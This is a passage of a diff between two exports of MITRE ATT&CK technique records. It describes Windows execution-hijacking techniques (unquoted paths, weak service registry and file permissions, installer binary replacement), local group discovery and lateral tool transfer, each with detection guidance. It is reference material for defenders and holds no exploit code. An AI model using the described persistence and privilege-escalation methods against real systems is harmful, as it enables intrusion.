'https://attack.mitre.org/techniques/T1574/009', 'external_id': 'T1574.009'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/38.html', 'external_id': 'CAPEC-38'}, {'source_name': 'Microsoft CurrentControlSet Services', 'description': 'Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree'}, {'source_name': 'Help eliminate unquoted path', 'description': 'Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012.', 'url': 'https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464'}, {'source_name': 'Windows Unquoted Services', 'description': 'HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted Services. Retrieved August 10, 2018.', 'url': 'https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/'}, {'source_name': 'Windows Privilege Escalation Guide', 'description': 'absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.', 'url': 'https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Stefan Kanthak'],"['File: File Creation', 'File: File Modification', 'Process: Process Creation']",,"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as ""findstr,"" ""net,"" and ""python""). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. + +Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",True,,['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T11:42:14.444Z,2021-10-14T23:52:52.058Z,Services Registry Permissions Weakness,"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service) -Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",,,,,True,,,,['Windows'],,,,1.1 -2020-03-13 11:42:14.444000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security) +If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). -If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). +Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) -Adversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1574/011', external_id='T1574.011'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/478.html', external_id='CAPEC-478'), ExternalReference(source_name='Registry Key Security', description='Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.', url='https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN'), ExternalReference(source_name='Kansa Service related collectors', description='Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.', url='https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html'), ExternalReference(source_name='Tweet Registry Perms Weakness', description='@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.', url='https://twitter.com/r0wdy_/status/936365549553991680'), ExternalReference(source_name='Autoruns for Windows', description='Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.', url='https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns')]",attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-09-16 19:07:48.590000+00:00,Services Registry Permissions Weakness,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Travis Smith, Tripwire', 'Matthew Demaske, Adaptforward']","['Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Service: Service Metadata', 'Command: Command Execution']",['Application control'],,,,"Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. +The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms) + +Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll.(Citation: malware_hides_service)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/011', 'external_id': 'T1574.011'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/478.html', 'external_id': 'CAPEC-478'}, {'source_name': 'Registry Key Security', 'description': 'Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN'}, {'source_name': 'malware_hides_service', 'description': 'Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021.', 'url': 'https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/'}, {'source_name': 'Kansa Service related collectors', 'description': 'Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.', 'url': 'https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html'}, {'source_name': 'Tweet Registry Perms Weakness', 'description': '@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.', 'url': 'https://twitter.com/r0wdy_/status/936365549553991680'}, {'source_name': 'microsoft_services_registry_tree', 'description': 'Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree'}, {'source_name': 'insecure_reg_perms', 'description': 'Clément Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.', 'url': 'https://itm4n.github.io/windows-registry-rpceptmapper-eop/'}, {'source_name': 'troj_zegost', 'description': 'Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.', 'url': 'https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost'}, {'source_name': 'Autoruns for Windows', 'description': 'Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.', 'url': 'https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Travis Smith, Tripwire', 'Matthew Demaske, Adaptforward']","['Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Service: Service Metadata', 'Command: Command Execution']",['Application control'],"Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. -Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.",,,['SYSTEM'],,True,,,"['Administrator', 'User']",['Windows'],,,,1.0 -2020-03-13 11:12:18.558000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. +Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.",True,"['Administrator', 'User']",['Windows'],1.1,,,,['SYSTEM'],,, +attack-pattern,attack-pattern--70d81154-b187-45f9-8ec5-295d01255979,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T11:12:18.558Z,2020-03-26T19:20:23.030Z,Executable Installer File Permissions Weakness,"Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001). -Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1574/005', external_id='T1574.005'), ExternalReference(source_name='mozilla_sec_adv_2012', description='Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.', url='https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/'), ExternalReference(source_name='Executable Installers are Vulnerable', description='Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.', url='https://seclists.org/fulldisclosure/2015/Dec/34')]",attack-pattern--70d81154-b187-45f9-8ec5-295d01255979,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-26 19:20:23.030000+00:00,Executable Installer File Permissions Weakness,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Travis Smith, Tripwire', 'Stefan Kanthak']","['File: File Creation', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'Service: Service Metadata']",,,,,"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. +Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/005', 'external_id': 'T1574.005'}, {'source_name': 'mozilla_sec_adv_2012', 'description': 'Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.', 'url': 'https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/'}, {'source_name': 'Executable Installers are Vulnerable', 'description': 'Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.', 'url': 'https://seclists.org/fulldisclosure/2015/Dec/34'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Travis Smith, Tripwire', 'Stefan Kanthak']","['File: File Creation', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'Service: Service Metadata']",,"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. -Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.",,,"['Administrator', 'User', 'SYSTEM']",,True,,,"['Administrator', 'User']",['Windows'],,,,1.0 -2020-03-12 20:43:53.998000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. +Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.",True,"['Administrator', 'User']",['Windows'],1.0,,,,"['Administrator', 'User', 'SYSTEM']",,, +attack-pattern,attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-12T20:43:53.998Z,2020-09-16T19:10:04.262Z,Services File Permissions Weakness,"Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. -Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1574/010', external_id='T1574.010'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/17.html', external_id='CAPEC-17')]",attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-09-16 19:10:04.262000+00:00,Services File Permissions Weakness,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Travis Smith, Tripwire', 'Stefan Kanthak']","['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Service: Service Metadata']",,,,,"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. +Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/010', 'external_id': 'T1574.010'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/17.html', 'external_id': 'CAPEC-17'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Travis Smith, Tripwire', 'Stefan Kanthak']","['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Service: Service Metadata']",,"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. -Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. ",,,"['SYSTEM', 'Administrator', 'User']",,True,,,"['Administrator', 'User']",['Windows'],,,,1.0 -2020-03-12 20:38:12.465000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. +Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. ",True,"['Administrator', 'User']",['Windows'],1.0,,,,"['SYSTEM', 'Administrator', 'User']",,, +attack-pattern,attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-12T20:38:12.465Z,2021-10-14T23:52:52.536Z,Hijack Execution Flow,"Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. -There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1574', external_id='T1574'), ExternalReference(source_name='Autoruns for Windows', description='Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.', url='https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns')]",attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-27 19:55:20.290000+00:00,Hijack Execution Flow,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Module: Module Load', 'Command: Command Execution', 'Service: Service Metadata', 'File: File Creation', 'File: File Modification']","['Anti-virus', 'Application control']",,,,"Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. +There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574', 'external_id': 'T1574'}, {'source_name': 'Autoruns for Windows', 'description': 'Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.', 'url': 'https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Module: Module Load', 'Command: Command Execution', 'Service: Service Metadata', 'File: File Creation', 'File: File Modification']","['Anti-virus', 'Application control']","Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. @@ -953,129 +1115,134 @@ Monitor processes for unusual activity (e.g., a process that does not use the ne Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. -Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.",,,,,False,,,,"['Linux', 'macOS', 'Windows']",,,,1.1 -2020-03-12 19:29:21.013000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group. +Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.",False,,"['Linux', 'macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-12T19:29:21.013Z,2020-03-26T17:48:27.871Z,Local Groups,"Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group. -Commands such as net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1069/001', external_id='T1069.001')]",attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2020-03-26 17:48:27.871000+00:00,Local Groups,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +Commands such as net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1069/001', 'external_id': 'T1069.001'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-11 21:01:00.959000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may transfer tools or other files between systems in a compromised environment. Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files laterally between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1570', external_id='T1570')]",attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2020-03-23 22:10:10.862000+00:00,Lateral Tool Transfer,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Process: Process Creation', 'File: File Creation', 'File: File Metadata']",,,,,Monitor for file creation and files transferred within a network using protocols such as SMB. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.,,,,,False,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-11 14:56:34.154000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda) +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",True,['User'],"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-11T21:01:00.959Z,2021-09-28T21:17:42.490Z,Lateral Tool Transfer,"Adversaries may transfer tools or other files between systems in a compromised environment. Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files laterally between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [SMB/Windows Admin 